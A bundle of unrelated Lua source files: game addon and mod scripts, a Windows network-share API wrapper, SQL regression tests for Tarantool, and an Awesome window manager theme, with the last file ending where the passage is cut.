-- Fix stolen from NDui (and modified by Simpy). Credit: siweia.
local mapRects, tempVec2D = {}, CreateVector2D(0, 0)
function K:GetPlayerMapPos(mapID)
tempVec2D.x, tempVec2D.y = UnitPosition("player")
if not tempVec2D.x then
return
end
local mapRect = mapRects[mapID]
if not mapRect then
mapRect = {select(2, C_Map_GetWorldPosFromMapPos(mapID, CreateVector2D(0, 0))), select(2, C_Map_GetWorldPosFromMapPos(mapID, CreateVector2D(1, 1)))}
mapRect[2]:Subtract(mapRect[1])
mapRects[mapID] = mapRect
end
tempVec2D:Subtract(mapRect[1])
return (tempVec2D.y / mapRect[2].y), (tempVec2D.x / mapRect[2].x)
end
-- Code taken from LibTourist-3.0 and rewritten to fit our purpose
local localizedMapNames = {}
local ZoneIDToContinentName = {
[104] = "Outland",
[107] = "Outland",
}
local MapIdLookupTable = {
[101] = "Outland",
[104] = "Shadowmoon Valley",
[107] = "Nagrand",
}
local function LocalizeZoneNames()
local mapInfo
for mapID, englishName in pairs(MapIdLookupTable) do
mapInfo = C_Map_GetMapInfo(mapID)
-- Add combination of English and localized name to lookup table
if mapInfo and mapInfo.name and not localizedMapNames[englishName] then
localizedMapNames[englishName] = mapInfo.name
end
end
end
LocalizeZoneNames()
-- Add " (Outland)" to the end of zone name for Nagrand and Shadowmoon Valley, if mapID matches Outland continent.
-- We can then use this function when we need to compare the players own zone against return values from stuff like GetFriendInfo and GetGuildRosterInfo,
-- which adds the " (Outland)" part unlike the GetRealZoneText() API.
function K:GetZoneText(mapID)
if not (mapID and K.MapInfo.name) then
return
end
local continent, zoneName = ZoneIDToContinentName[mapID]
if continent and continent == "Outland" then
if K.MapInfo.name == localizedMapNames.Nagrand or K.MapInfo.name == "Nagrand" then
zoneName = localizedMapNames.Nagrand.." ("..localizedMapNames.Outland..")"
elseif K.MapInfo.name == localizedMapNames["Shadowmoon Valley"] or K.MapInfo.name == "Shadowmoon Valley" then
zoneName = localizedMapNames["Shadowmoon Valley"].." ("..localizedMapNames.Outland..")"
end
end
return zoneName or K.MapInfo.name
end
K:RegisterEvent("CRITERIA_UPDATE", "MapInfo_CoordsStop") -- when the player goes into an animation (landing)
K:RegisterEvent("PLAYER_STARTED_MOVING", "MapInfo_CoordsStart")
K:RegisterEvent("PLAYER_STOPPED_MOVING", "MapInfo_CoordsStop")
K:RegisterEvent("PLAYER_CONTROL_LOST", "MapInfo_CoordsStart")
K:RegisterEvent("PLAYER_CONTROL_GAINED", "MapInfo_CoordsStop")
K:RegisterEvent("ZONE_CHANGED_NEW_AREA", "MapInfo_Update")
K:RegisterEvent("ZONE_CHANGED_INDOORS", "MapInfo_Update")
K:RegisterEvent("ZONE_CHANGED", "MapInfo_Update") |
local allowCountdown = false
local startedFirstDialogue = false
local startedEndDialogue = false
function onStartCountdown()
makeAnimatedLuaSprite('ts2', 'ts2', 315, 152);
setLuaSpriteScrollFactor('ts2', 0.9, 0.9);
addLuaSprite('ts2', false);
makeAnimatedLuaSprite('pp', 'pp', 215, 175);
setLuaSpriteScrollFactor('pp', 0.9, 0.9);
addLuaSprite('pp', false);
makeAnimatedLuaSprite('rd2', 'rd2', 0, 175);
setLuaSpriteScrollFactor('rd2', 0.9, 0.9);
addLuaSprite('rd2', false);
if not allowCountdown and isStoryMode and not startedFirstDialogue then
setProperty('inCutscene', true);
runTimer('startDialogue', 0.8);
startedFirstDialogue = true;
return Function_Stop;
end
return Function_Continue;
end
function onEndSong()
if not allowCountdown and isStoryMode and not startedEndDialogue then
setProperty('inCutscene', true);
runTimer('startDialogueEnd', 0.8);
startedEndDialogue = true;
return Function_Stop;
end
return Function_Continue;
end
function onTimerCompleted(tag, loops, loopsLeft)
if tag == 'startDialogue' then
startDialogue('dialogue', 'silence');
elseif tag == 'startDialogueEnd' then
startDialogue('dialogueEnd', 'silence');
makeAnimatedLuaSprite('lyrabon', 'lyrabon', 750, 150);
setLuaSpriteScrollFactor('lyrabon', 0.9, 0.9);
addLuaSprite('lyrabon', false);
makeAnimatedLuaSprite('derp', 'derp', 1250, 150);
setLuaSpriteScrollFactor('derp', 0.9, 0.9);
addLuaSprite('derp', false);
makeAnimatedLuaSprite('ts2', 'ts2', 315, 152);
setLuaSpriteScrollFactor('ts2', 0.9, 0.9);
addLuaSprite('ts2', false);
makeAnimatedLuaSprite('pp', 'pp', 215, 175);
setLuaSpriteScrollFactor('pp', 0.9, 0.9);
addLuaSprite('pp', false);
makeAnimatedLuaSprite('rd2', 'rd2', 0, 175);
setLuaSpriteScrollFactor('rd2', 0.9, 0.9);
addLuaSprite('rd2', false);
end
end
function onSongStart()
luaSpriteAddAnimationByPrefix('lyrabon', 'lyrabon', 'lyrabon', 24, true);
luaSpriteAddAnimationByPrefix('derp', 'derp', 'derp', 24, true);
luaSpriteAddAnimationByPrefix('ts2', 'ts2', 'ts2', 24, true);
luaSpriteAddAnimationByPrefix('pp', 'pp', 'pp', 24, true);
luaSpriteAddAnimationByPrefix('rd2', 'rd2', 'rd2', 24, true);
end |
--- Share operations
--
-- @module share
-- @pragma nostrip
setfenv(1, require "sysapi-ns")
require "share.share-windef"
local netapi32 = ffi.load("netapi32")
local M = SysapiMod("Share")
--- Add share
-- @param shareName share name
-- @param sharePath share path
-- @param[opt=STYPE_DISKTREE] shareType share type
-- @param[opt] serverName server DNS or NetBIOS name (if not specified, the local computer is used)
-- @return 0 on success
-- @function share.add
function M.add(shareName, sharePath, shareType, serverName)
local info = ffi.new("SHARE_INFO_2[1]")
info[0].shi2_netname = shareName:toWC()
info[0].shi2_type = shareType or STYPE_DISKTREE
info[0].shi2_remark = ffi.NULL
info[0].shi2_permissions = 0
info[0].shi2_max_uses = -1
info[0].shi2_current_uses = 0
info[0].shi2_path = sharePath:toWC()
info[0].shi2_passwd = ffi.NULL
return netapi32.NetShareAdd(serverName and serverName:toWC() or ffi.NULL, 2, ffi.cast("LPBYTE", info), ffi.NULL)
end
--- Check whether or not a server is sharing a resource with specified path
-- @param sharePath path to check for shared access
-- @param[out_opt] shareType LPDWORD that on success receives a bitmask of flags that specify the type of the shared resource
-- @param[opt] serverName server DNS or NetBIOS name (if not specified, the local computer is used)
-- @return 0 on success
-- @function share.check
function M.check(sharePath, shareType, serverName)
return netapi32.NetShareCheck(
serverName and serverName:toWC() or ffi.NULL,
sharePath:toWC(),
shareType or ffi.new("DWORD[1]")
)
end
--- Delete share
-- @param shareName share name
-- @param[opt] serverName server DNS or NetBIOS name (if not specified, the local computer is used)
-- @return 0 on success
-- @function share.delete
function M.delete(shareName, serverName)
return netapi32.NetShareDel(serverName and serverName:toWC() or ffi.NULL, shareName:toWC(), 0)
end
-- possible types of info for shares enumeration according to https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netshareenum
local SHARE_INFO_TYPES_NAMES = {
[0] = "SHARE_INFO_0 *",
[1] = "SHARE_INFO_1 *",
[2] = "SHARE_INFO_2 *",
[502] = "SHARE_INFO_502 *",
[503] = "SHARE_INFO_503 *"
}
--- Enumerate shares and call the function for each
-- @param func function to be called for each share
-- @param[opt=0] level information level of the data
-- @param[opt] serverName server DNS or NetBIOS name (if not specified, the local computer is used)
-- @function share.forEach
function M.forEach(func, level, serverName)
local buf = ffi.new("LPBYTE[1]")
local entriesRead = ffi.new("DWORD[1]")
local totalEntries = ffi.new("DWORD[1]")
level = level or 0
local err =
netapi32.NetShareEnum(
serverName and serverName:toWC() or ffi.NULL,
level,
buf,
MAX_PREFERRED_LENGTH,
entriesRead,
totalEntries,
ffi.NULL
)
if err == 0 then
ffi.gc(buf[0], netapi32.NetApiBufferFree)
local infoType = ffi.typeof(SHARE_INFO_TYPES_NAMES[level])
local shares = ffi.cast(infoType, buf[0])
for i = 0, entriesRead[0] - 1 do
if func(shares[i]) then
break
end
end
end
end
return M
|
config = {
var0 = {
var0 = 'test1',
var1 = 'test2'
},
var1 = {
value1 = 0,
value2 = 1
},
}
|
hook.Add( "PopulateMenuBar", "NPCOptions_MenuBar", function( menubar )
local m = menubar:AddOrGetMenu( "NPCs" )
m:AddCVar( "Disable Thinking", "ai_disabled", "1", "0" )
m:AddCVar( "Ignore Players", "ai_ignoreplayers", "1", "0" )
m:AddCVar( "Keep Corpses", "ai_serverragdolls", "1", "0" )
m:AddCVar( "Join Player's Squad", "npc_citizen_auto_player_squad", "1", "0" )
local weapons = m:AddSubMenu( "Weapon Override" )
weapons:SetDeleteSelf( false )
weapons:AddCVar( "Default Weapon", "gmod_npcweapon", "" )
weapons:AddSpacer()
for _, v in pairs( list.Get( "NPCUsableWeapons" ) ) do
weapons:AddCVar( v.title, "gmod_npcweapon", v.class )
end
end )
list.Add( "NPCUsableWeapons", { class = "none", title = "None" } )
list.Add( "NPCUsableWeapons", { class = "weapon_pistol", title = "Pistol" } )
list.Add( "NPCUsableWeapons", { class = "weapon_smg1", title = "SMG" } )
list.Add( "NPCUsableWeapons", { class = "weapon_ar2", title = "AR2" } )
list.Add( "NPCUsableWeapons", { class = "weapon_shotgun", title = "Shotgun" } )
list.Add( "NPCUsableWeapons", { class = "weapon_crossbow", title = "Crossbow" } )
list.Add( "NPCUsableWeapons", { class = "weapon_stunstick", title = "Stunstick" } )
list.Add( "NPCUsableWeapons", { class = "weapon_357", title = "357" } )
list.Add( "NPCUsableWeapons", { class = "weapon_rpg", title = "RPG" } )
list.Add( "NPCUsableWeapons", { class = "weapon_crowbar", title = "Crowbar" } )
list.Add( "NPCUsableWeapons", { class = "weapon_annabelle", title = "Annabelle" } )
|
#!/usr/bin/env tarantool
test = require("sqltester")
test:plan(170)
--!./tcltestrunner.lua
-- 2008 June 24
--
-- The author disclaims copyright to this source code. In place of
-- a legal notice, here is a blessing:
--
-- May you do good and not evil.
-- May you find forgiveness for yourself and forgive others.
-- May you share freely, never taking more than you give.
--
-------------------------------------------------------------------------
-- This file implements regression tests for SQLite library.
--
-- $Id: selectB.test,v 1.10 2009/04/02 16:59:47 drh Exp $
-- ["set","testdir",[["file","dirname",["argv0"]]]]
-- ["source",[["testdir"],"\/tester.tcl"]]
local function test_transform(testname, sql1, sql2, results)
-- this variables are filled with
-- opcodes only (line[2]) of explain command)
local vdbe1 = { }
local vdbe2 = { }
local data = box.sql.execute("explain "..sql1)
for i, line in ipairs(data) do
table.insert(vdbe1, line[2])
end
data = box.sql.execute("explain "..sql2)
for i, line in ipairs(data) do
table.insert(vdbe2, line[2])
end
test:do_test(
testname..".transform",
function()
return vdbe1
end,
vdbe2
)
sql1 = sql1
test:do_execsql_test(
testname..".sql1",
sql1,
results)
sql2 = sql2
test:do_execsql_test(
testname..".sql2",
sql2,
results)
end
-- MUST_WORK_TEST
-- CREATE TABLE t1(a int, b int, c int);
-- CREATE TABLE t2(d, e, f);
test:do_execsql_test(
"selectB-1.1",
[[
CREATE TABLE t1(id int primary key, a int, b int, c int);
CREATE TABLE t2(id int primary key, d int, e int, f int);
INSERT INTO t1 VALUES(0, 2, 4, 6);
INSERT INTO t1 VALUES(1, 8, 10, 12);
INSERT INTO t1 VALUES(2, 14, 16, 18);
INSERT INTO t2 VALUES(0, 3, 6, 9);
INSERT INTO t2 VALUES(1, 12, 15, 18);
INSERT INTO t2 VALUES(2, 21, 24, 27);
]], {
-- <selectB-1.1>
-- </selectB-1.1>
})
for ii = 1, 2, 1 do
if (ii == 2) then
test:do_execsql_test(
"selectB-2.1",
[[
CREATE INDEX i1 ON t1(a);
CREATE INDEX i2 ON t2(d);
]], {
-- <selectB-2.1>
-- </selectB-2.1>
})
end
test_transform("selectB-"..ii..".2", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2)
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2
]], { 2.0, 8.0, 14.0, 3.0, 12.0, 21.0})
test_transform("selectB-"..ii..".3", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2) ORDER BY 1
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1
]], { 2.0, 3.0, 8.0, 12.0, 14.0, 21.0})
test_transform("selectB-"..ii..".4", [[
SELECT * FROM
(SELECT a FROM t1 UNION ALL SELECT d FROM t2)
WHERE a>10 ORDER BY 1
]], [[
SELECT a FROM t1 WHERE a>10 UNION ALL SELECT d FROM t2 WHERE d>10 ORDER BY 1
]], { 12.0, 14.0, 21.0})
test_transform("selectB-"..ii..".5", [[
SELECT * FROM
(SELECT a FROM t1 UNION ALL SELECT d FROM t2)
WHERE a>10 ORDER BY a
]], [[
SELECT a FROM t1 WHERE a>10
UNION ALL
SELECT d FROM t2 WHERE d>10
ORDER BY a
]], { 12.0, 14.0, 21.0})
test_transform("selectB-"..ii..".6", [[
SELECT * FROM
(SELECT a FROM t1 UNION ALL SELECT d FROM t2 WHERE d > 12)
WHERE a>10 ORDER BY a
]], [[
SELECT a FROM t1 WHERE a>10
UNION ALL
SELECT d FROM t2 WHERE d>12 AND d>10
ORDER BY a
]], { 14.0, 21.0})
test_transform("selectB-"..ii..".7", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2) ORDER BY 1
LIMIT 2
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1 LIMIT 2
]], { 2.0, 3.0})
test_transform("selectB-"..ii..".8", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2) ORDER BY 1
LIMIT 2 OFFSET 3
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1 LIMIT 2 OFFSET 3
]], { 12.0, 14.0})
test_transform("selectB-"..ii..".9", [[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 UNION ALL SELECT c FROM t1
)
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 UNION ALL SELECT c FROM t1
]], { 2.0, 8.0, 14.0, 3.0, 12.0, 21.0, 6.0, 12.0, 18.0})
test_transform("selectB-"..ii..".10", [[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 UNION ALL SELECT c FROM t1
) ORDER BY 1
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 UNION ALL SELECT c FROM t1
ORDER BY 1
]], { 2.0, 3.0, 6.0, 8.0, 12.0, 12.0, 14.0, 18.0, 21.0})
test_transform("selectB-"..ii..".11", [[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 UNION ALL SELECT c FROM t1
) WHERE a>=10 ORDER BY 1 LIMIT 3
]], [[
SELECT a FROM t1 WHERE a>=10 UNION ALL SELECT d FROM t2 WHERE d>=10
UNION ALL SELECT c FROM t1 WHERE c>=10
ORDER BY 1 LIMIT 3
]], { 12.0, 12.0, 14.0})
test_transform("selectB-"..ii..".12", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2 LIMIT 2)
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 LIMIT 2
]], { 2.0, 8.0})
-- MUST_WORK_TEST
if (0 > 0) then
-- An ORDER BY in a compound subqueries defeats flattening. Ticket #3773
test_transform("selectB-"..ii..".13", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY a ASC)
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1 ASC
]], "2 3 8 12 14 21")
test_transform("selectB-"..ii..".14", [[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY a DESC)
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1 DESC
]], "21 14 12 8 3 2")
test_transform("selectB-"..ii..".14", [[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY a DESC
) LIMIT 2 OFFSET 2
]], [[
SELECT a FROM t1 UNION ALL SELECT d FROM t2 ORDER BY 1 DESC
LIMIT 2 OFFSET 2
]], "12 8")
test_transform("selectB-"..ii..".15", [[
SELECT * FROM (
SELECT a, b FROM t1 UNION ALL SELECT d, e FROM t2 ORDER BY a ASC, e DESC
)
]], [[
SELECT a, b FROM t1 UNION ALL SELECT d, e FROM t2 ORDER BY a ASC, e DESC
]], "2 4 3 6 8 10 12 15 14 16 21 24")
end
end
test:do_execsql_test(
"selectB-3.0",
[[
DROP INDEX i1 ON t1;
DROP INDEX i2 ON t2;
]], {
-- <selectB-3.0>
-- </selectB-3.0>
})
for ii = 3, 6, 1 do
if ii == 4 then
-- TODO
--X(2, "X!cmd", [=[["optimization_control","db","query-flattener","off"]]=])
elseif ii == 5 then
--X(2, "X!cmd", [=[["optimization_control","db","query-flattener","on"]]=])
test:do_execsql_test(
"selectB-5.0",
[[
CREATE INDEX i1 ON t1(a);
CREATE INDEX i2 ON t1(b);
CREATE INDEX i3 ON t1(c);
CREATE INDEX i4 ON t2(d);
CREATE INDEX i5 ON t2(e);
CREATE INDEX i6 ON t2(f);
]], {
-- <selectB-5.0>
-- </selectB-5.0>
})
elseif ii == 6 then
--X(2, "X!cmd", [=[["optimization_control","db","query-flattener","off"]]=])
end
test:do_execsql_test(
"selectB-"..ii..".1",
[[
SELECT DISTINCT * FROM
(SELECT c FROM t1 UNION ALL SELECT e FROM t2)
ORDER BY 1;
]], {
6, 12, 15, 18, 24
})
test:do_execsql_test(
"selectB-"..ii..".2",
[[
SELECT c, count(*) FROM
(SELECT c FROM t1 UNION ALL SELECT e FROM t2)
GROUP BY c ORDER BY 1;
]], {
6, 2, 12, 1, 15, 1, 18, 1, 24, 1
})
test:do_execsql_test(
"selectB-"..ii..".3",
[[
SELECT c, count(*) FROM
(SELECT c FROM t1 UNION ALL SELECT e FROM t2)
GROUP BY c HAVING count(*)>1;
]], {
6, 2
})
test:do_execsql_test(
"selectB-"..ii..".4",
[[
SELECT t4.c, t3.a FROM
(SELECT c FROM t1 UNION ALL SELECT e FROM t2) AS t4, t1 AS t3
WHERE t3.a=14
ORDER BY 1
]], {
6, 14, 6, 14, 12, 14, 15, 14, 18, 14, 24, 14
})
test:do_execsql_test(
"selectB-"..ii..".5",
[[
SELECT d FROM t2
EXCEPT
SELECT a FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2)
]], {
})
test:do_execsql_test(
"selectB-"..ii..".6",
[[
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2)
EXCEPT
SELECT * FROM (SELECT a FROM t1 UNION ALL SELECT d FROM t2)
]], {
})
test:do_execsql_test(
"selectB-"..ii..".7",
[[
SELECT c FROM t1
EXCEPT
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
]], {
12
})
test:do_execsql_test(
"selectB-"..ii..".8",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
EXCEPT
SELECT c FROM t1
]], {
9, 15, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".9",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
EXCEPT
SELECT c FROM t1
ORDER BY c DESC
]], {
27, 24, 15, 9
})
test:do_execsql_test(
"selectB-"..ii..".10",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
UNION
SELECT c FROM t1
ORDER BY c DESC
]], {
27, 24, 18, 15, 12, 9, 6
})
test:do_execsql_test(
"selectB-"..ii..".11",
[[
SELECT c FROM t1
UNION
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
ORDER BY c
]], {
6, 9, 12, 15, 18, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".12",
[[
SELECT c FROM t1 UNION SELECT e FROM t2 UNION ALL SELECT f FROM t2
ORDER BY c
]], {
6, 9, 12, 15, 18, 18, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".13",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
UNION
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
ORDER BY 1
]], {
6, 9, 15, 18, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".14",
[[
SELECT c FROM t1
INTERSECT
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
ORDER BY 1
]], {
6, 18
})
test:do_execsql_test(
"selectB-"..ii..".15",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
INTERSECT
SELECT c FROM t1
ORDER BY 1
]], {
6, 18
})
test:do_execsql_test(
"selectB-"..ii..".16",
[[
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
INTERSECT
SELECT * FROM (SELECT e FROM t2 UNION ALL SELECT f FROM t2)
ORDER BY 1
]], {
6, 9, 15, 18, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".17",
[[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 LIMIT 4
) LIMIT 2
]], {
2, 8
})
test:do_execsql_test(
"selectB-"..ii..".18",
[[
SELECT * FROM (
SELECT a FROM t1 UNION ALL SELECT d FROM t2 LIMIT 4 OFFSET 2
) LIMIT 2
]], {
14, 3
})
test:do_execsql_test(
"selectB-"..ii..".19",
[[
SELECT * FROM (
SELECT DISTINCT (a/10) FROM t1 UNION ALL SELECT DISTINCT(d%2) FROM t2
)
]], {
0, 1, 1, 0
})
test:do_execsql_test(
"selectB-"..ii..".20",
[[
SELECT DISTINCT * FROM (
SELECT DISTINCT (a/10) FROM t1 UNION ALL SELECT DISTINCT(d%2) FROM t2
)
]], {
0, 1
})
test:do_execsql_test(
"selectB-"..ii..".21",
[[
SELECT * FROM (SELECT a,b,c FROM t1 UNION ALL SELECT d,e,f FROM t2) ORDER BY a+b
]], {
2, 4, 6, 3, 6, 9, 8, 10, 12, 12, 15, 18, 14, 16, 18, 21, 24, 27
})
test:do_execsql_test(
"selectB-"..ii..".22",
[[
SELECT * FROM (SELECT 345 UNION ALL SELECT d FROM t2) ORDER BY 1;
]], {
3, 12, 21, 345
})
test:do_execsql_test(
"selectB-"..ii..".23",
[[
SELECT x, y FROM (
SELECT a AS x, b AS y FROM t1
UNION ALL
SELECT a*10 + 0.1, f*10 + 0.1 FROM t1 JOIN t2 ON (c=d)
UNION ALL
SELECT a*100, b*100 FROM t1
) ORDER BY 1;
]], {
2, 4, 8, 10, 14, 16, 80.1, 180.1, 200, 400, 800, 1000, 1400, 1600
})
test:do_execsql_test(
"selectB-"..ii..".24",
[[
SELECT x, y FROM (
SELECT a AS x, b AS y FROM t1
UNION ALL
SELECT a*10 + 0.1, f*10 + 0.1 FROM t1 LEFT JOIN t2 ON (c=d)
UNION ALL
SELECT a*100, b*100 FROM t1
) ORDER BY 1;
]], {
2, 4, 8, 10, 14, 16, 20.1, "", 80.1, 180.1, 140.1, "", 200, 400, 800, 1000, 1400, 1600
})
test:do_execsql_test(
"selectB-"..ii..".25",
[[
SELECT x+y FROM (
SELECT a AS x, b AS y FROM t1
UNION ALL
SELECT a*10 + 0.1, f*10 + 0.1 FROM t1 LEFT JOIN t2 ON (c=d)
UNION ALL
SELECT a*100, b*100 FROM t1
) WHERE y+x IS NOT NULL ORDER BY 1;
]], {
6, 18, 30, 260.2, 600, 1800, 3000
})
end
test:finish_test()
|
-- zenburn-custom, awesome3 theme, by Adrian C. (anrxc)
--{{{ Main
local awful = require("awful")
awful.util = require("awful.util")
theme = {}
home = os.getenv("HOME")
config = awful.util.getdir("config")
shared = "/usr/share/awesome"
if not awful.util.file_readable(shared .. "/icons/awesome16.png") then
shared = "/usr/share/local/awesome"
end
sharedicons = shared .. "/icons"
sharedthemes = shared .. "/themes"
themes = config .. "/themes"
themename = "/zenburn-custom"
if not awful.util.file_readable(themes .. themename .. "/theme.lua") then
themes = sharedthemes
end
themedir = themes .. themename
wallpaper1 = themedir .. "/background.jpg"
wallpaper2 = themedir .. "/background.png"
wallpaper3 = sharedthemes .. "/zenburn/zenburn-background.png"
wallpaper4 = sharedthemes .. "/default/background.png"
wpscript = home .. "/.wallpaper"
if awful.util.file_readable(wallpaper1) then
theme.wallpaper = wallpaper1
elseif awful.util.file_readable(wallpaper2) then
theme.wallpaper = wallpaper2
elseif awful.util.file_readable(wpscript) then
theme.wallpaper_cmd = { "sh " .. wpscript }
elseif awful.util.file_readable(wallpaper3) then
theme.wallpaper = wallpaper3
else
theme.wallpaper = wallpaper4
end
--}}}
-- {{{ Styles
theme.font = "Profont 8"
-- {{{ Colors
theme.fg_normal = "#DCDCCC"
theme.fg_focus = "#F0DFAF"
theme.fg_urgent = "#CC9393"
theme.bg_normal = "#3F3F3F"
theme.bg_focus = "#1E2320"
theme.bg_urgent = "#3F3F3F"
-- }}}
-- {{{ Borders
theme.border_width = "1"
theme.border_normal = "#3F3F3F"
theme.border_focus = "#6F6F6F"
theme.border_marked = "#CC9393"
-- }}}
-- {{{ Titlebars
theme.titlebar_bg_focus = "#3F3F3F"
theme.titlebar_bg_normal = "#3F3F3F"
-- theme.titlebar_[normal|focus]
-- }}}
-- {{{ Widgets
theme.fg_widget = "#AECF96"
theme.fg_center_widget = "#88A175"
theme.fg_end_widget = "#FF5656"
theme.fg_off_widget = "#494B4F"
theme.fg_netup_widget = "#7F9F7F"
theme.fg_netdn_widget = "#CC9393"
theme.bg_widget = "#3F3F3F"
theme.border_widget = "#3F3F3F"
-- }}}
-- {{{ Mouse finder
theme.mouse_finder_color = "#CC9393"
-- theme.mouse_finder_[timeout|animate_timeout|radius|factor]
-- }}}
-- {{{ Tooltips
-- theme.tooltip_[font|opacity|fg_color|bg_color|border_width|border_color]
-- }}}
-- {{{ Taglist and Tasklist
-- theme.[taglist|tasklist]_[bg|fg]_[focus|urgent]
-- }}}
-- {{{ Menu
-- theme.menu_[bg|fg]_[normal|focus]
-- theme.menu_[height|width|border_color|border_width]
-- }}}
-- }}}
-- {{{ Icons
--
-- {{{ Taglist icons
theme.taglist_squares_sel = themedir .. "/taglist/squarefz.png"
theme.taglist_squares_unsel = themedir .. "/taglist/squareza.png"
--theme.taglist_squares_resize = "false"
-- }}}
-- {{{ Misc icons
--theme.awesome_icon = themedir .. "/awesome.png"
--theme.menu_submenu_icon = sharedthemes .. "/default/submenu.png"
--theme.tasklist_floating_icon = sharedthemes .. "/default/tasklist/floatingw.png"
-- }}}
-- {{{ Layout icons
theme.layout_tile = themedir .. "/layouts/tile.png"
theme.layout_tileleft = themedir .. "/layouts/tileleft.png"
theme.layout_tilebottom = themedir .. "/layouts/tilebottom.png"
theme.layout_tiletop = themedir .. "/layouts/tiletop.png"
theme.layout_fairv = themedir .. "/layouts/fairv.png"
theme.layout_fairh = themedir .. "/layouts/fairh.png"
theme.layout_spiral = themedir .. "/layouts/spiral.png"
theme.layout_dwindle = themedir .. "/layouts/dwindle.png"
theme.layout_max = themedir .. "/layouts/max.png"
theme.layout_fullscreen = themedir .. "/layouts/fullscreen.png"
theme.layout_magnifier = themedir .. "/layouts/magnifier.png"
theme.layout_floating = themedir .. "/layouts/floating.png"
-- }}}
-- {{{ Widget icons
theme.widget_cpu = themes .. "/icons/gigamo/cpu.png"
theme.widget_bat = themes .. "/icons/gigamo/bat.png"
theme.widget_mem = themes .. "/icons/gigamo/mem.png"
theme.widget_fs = themes .. "/icons/gigamo/disk.png"
theme.widget_net = themes .. "/icons/gigamo/down.png"
theme.widget_netup = themes .. "/icons/gigamo/up.png"
theme.widget_mail = themes .. "/icons/gigamo/mail.png"
theme.widget_vol = themes .. "/icons/gigamo/vol.png"
theme.widget_org = themes .. "/icons/gigamo/cal.png"
theme.widget_date = themes .. "/icons/gigamo/time.png"
theme.widget_crypto = themes .. "/icons/gigamo/crypto.png"
-- }}}
-- {{{ Titlebar icons
theme.titlebar_close_button_focus = themedir .. "/titlebar/close_focus.png"
theme.titlebar_close_button_normal = themedir .. "/titlebar/close_normal.png"
theme.titlebar_ontop_button_focus_active = themedir .. "/titlebar/ontop_focus_active.png"
theme.titlebar_ontop_button_normal_active = themedir .. "/titlebar/ontop_normal_active.png"
theme.titlebar_ontop_button_focus_inactive = themedir .. "/titlebar/ontop_focus_inactive.png"
theme.titlebar_ontop_button_normal_inactive = themedir .. "/titlebar/ontop_normal_inactive.png"
theme.titlebar_sticky_button_focus_active = themedir .. "/titlebar/sticky_focus_active.png"
theme.titlebar_sticky_button_normal_active = themedir .. "/titlebar/sticky_normal_active.png"
theme.titlebar_sticky_button_focus_inactive = themedir .. "/titlebar/sticky_focus_inactive.png"
theme.titlebar_sticky_button_normal_inactive = themedir .. "/titlebar/sticky_normal_inactive.png"
theme.titlebar_floating_button_focus_active = themedir .. "/titlebar/floating_focus_active.png"
theme.titlebar_floating_button_normal_active = themedir .. "/titlebar/floating_normal_active.png"
theme.titlebar_floating_button_focus_inactive = themedir .. "/titlebar/floating_focus_inactive.png"
theme.titlebar_floating_button_normal_inactive = themedir .. "/titlebar/floating_normal_inactive.png"
theme.titlebar_maximized_button_focus_active = themedir .. "/titlebar/maximized_focus_active.png"
theme.titlebar_maximized_button_normal_active = themedir .. "/titlebar/maximized_normal_active.png"
theme.titlebar_maximized_button_focus_inactive = themedir .. "/titlebar/maximized_focus_inactive.png"
theme.titlebar_maximized_button_normal_inactive = themedir .. "/titlebar/maximized_normal_inactive.png"
-- }}}
-- }}}
return theme
|
TaungWarriorBunker = ScreenPlay:new {
numberOfActs = 1,
screenplayName = "TaungWarriorBunker"
}
registerScreenPlay("TaungWarriorBunker", true)
function TaungWarriorBunker:start()
if (isZoneEnabled("mandalore")) then
self:spawnMobiles()
self:spawnSceneObjects()
end
end
function TaungWarriorBunker:spawnSceneObjects()
spawnSceneObject("mandalore", "object/tangible/terminal/terminal_elevator_down.iff", -8,-12,58.9,8566200,-0.707107,0,-0.707107,0)
